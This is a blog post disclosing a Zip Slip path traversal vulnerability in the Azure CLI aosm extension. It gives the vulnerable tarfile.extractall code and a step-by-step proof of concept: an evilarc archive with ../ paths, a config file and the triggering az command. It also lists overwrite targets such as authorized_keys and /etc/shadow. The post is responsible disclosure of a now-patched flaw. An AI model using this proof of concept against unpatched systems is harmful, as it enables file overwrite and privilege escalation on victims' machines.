Post

Zip Slip Vulnerability in aosm Extension of azure-cli

Zip Slip Vulnerability in aosm Extension of azure-cli

During a source code review of the Azure Command-Line Interface (Azure CLI), I analyzed the AOSM (Azure Operator Service Manager) extension and discovered a potentially unsafe use of Python’s tarfile.extractall() method.

The issue exists in the extract_tarfile utility function, where user-provided archive files are extracted without path sanitization. This can expose consumers of the extension to directory traversal attacks, also known as the “Zip Slip” vulnerability pattern.

The issue affects the aosm extension in versions up to 2.0.0b2. It was responsibly reported to the Microsoft Security Response Center and fixed in version 2.0.0b3.


Demo

Vulnerable Code

The following code snippet was located in utils.py (lines 104–121):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def extract_tarfile(file_path: Path, target_dir: Path) -> Path:
    """
    Extracts the tar file to a temporary directory.
    Args:
        file_path: Path to the tar file.
    Returns:
        Path to the temporary directory.
    """
    file_extension = file_path.suffix

    if file_extension in (".gz", ".tgz"):
        with tarfile.open(file_path, "r:gz") as tar:
            tar.extractall(path=target_dir)
    elif file_extension == ".tar":
        with tarfile.open(file_path, "r:") as tar:
            tar.extractall(path=target_dir)
    else:
        raise InvalidFileTypeError(
            f"ERROR: The helm package, '{file_path}', is not"
            "a .tgz, .tar or .tar.gz file."
        )

    return Path(target_dir, os.listdir(target_dir)[0])

The unsafe function tarfile.extractall() was used to unpack helm packages.

Why tarfile.extractall() Is Dangerous

The Python tarfile documentation explicitly warns that extractall() is unsafe if the archive content cannot be trusted:

Caution: Never extract archives from untrusted sources without prior inspection. It is possible that files are created outside of path, e.g. members that have absolute filenames starting with “/” or filenames with two dots “..”.

This means a malicious .tar or .tgz archive can contain paths such as ../../../../.ssh/authorized_keys.

When extracted, this could overwrite critical files outside the intended target directory.

Proof of Concept

Step 1 — Generate Malicious Archive

Using the helper script evilarc.py, we create a tarball containing a file malicious_file.sh placed under /tmp via Unix path separators (../):

1
python2.7 evilarc.py -f evil_helmchart.tar -o unix -p tmp malicious_file.sh

This produces evil_helmchart.tar with a payload path like:

1
../../../../../../../../tmp/malicious_file.sh

Step 2 — Create Configuration File

Next, a minimal cnf-input.jsonc configuration points to the malicious archive as a Helm chart. Other fields are set to allow validation to pass:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
    "location": "uksouth",
    "publisher_name": "Darius Pavelescu",
    "publisher_resource_group_name": "None",
    "acr_artifact_store_name": "None",
    "nf_name": "None",
    "version": "1.0.0",
    "expose_all_parameters": false,
    "image_sources": [
        "ghcr.io/"
    ],
    "helm_packages": [
        {
            "name": "ZipSlip PoC",
            "path_to_chart": "evil_helmchart.tar",
            "default_values": ""
        }
    ]
}

Important: ensure the path_to_chart points to the malicious tarball location.

Step 3 — Execute the Build Command

The following Azure CLI command triggers extraction of the Helm chart:

1
az aosm nfd build --definition-type cnf --config-file cnf-input.jsonc

During execution, the unsafe extraction occurs. The PoC results in the creation of /tmp/malicious_file.sh with the permissions of the user executing the command.

Observed error

The command produces the following exception:

1
2
3
4
5
6
The command failed with an unexpected error. Here is the traceback:
list index out of range
Traceback (most recent call last):
  ...
  File ".../utils.py", line 114, in extract_tarfile
    return Path(target_dir, os.listdir(target_dir)[0])

Despite the traceback, the malicious file is already written to /tmp.

Impact

An attacker can craft archives to overwrite arbitrary files outside the intended extraction directory. Examples include:

  • /home/<user>/.ssh/authorized_keys - adding an attacker’s SSH key.
  • /etc/shadow - modifying root passwords (if CLI executed as root).
  • Any other sensitive system, application file or startup script.

The severity depends on the privileges of the account running the Azure CLI.

If an attacker can convince a user to build a CNF from a crafted archive, they may be able to fully compromise that user’s machine.

If the attacker can execute az with elevated rights (for example via sudo) on a target machine, the attacker could use this vulnerability to elevate his privileges and gain root-level control.

Resolution

Good news — this issue was fixed in AOSM version 2.0.0b3.
To ensure you are protected, upgrade the AOSM extension (and the Azure CLI if needed).

Conclusion

This PoC highlights a Zip Slip vulnerability in the Azure CLI AOSM extension due to the unsafe use of tarfile.extractall().

Key takeaway: Never extract untrusted archives without validating the paths of their contents.

Timeline

  • 2025-04-02: Vulnerability discovered
  • 2025-04-02: Reported to Microsoft Security Response Center
  • 2025-06-25: Vendor confirmed and began working on a fix
  • 2025-09-29: Patch released (aosm 2.0.0b3)
  • 2025-10-02: Creation of initial draft for public release
  • 2025-10-13: Public release
This post is licensed under CC BY 4.0 by the author.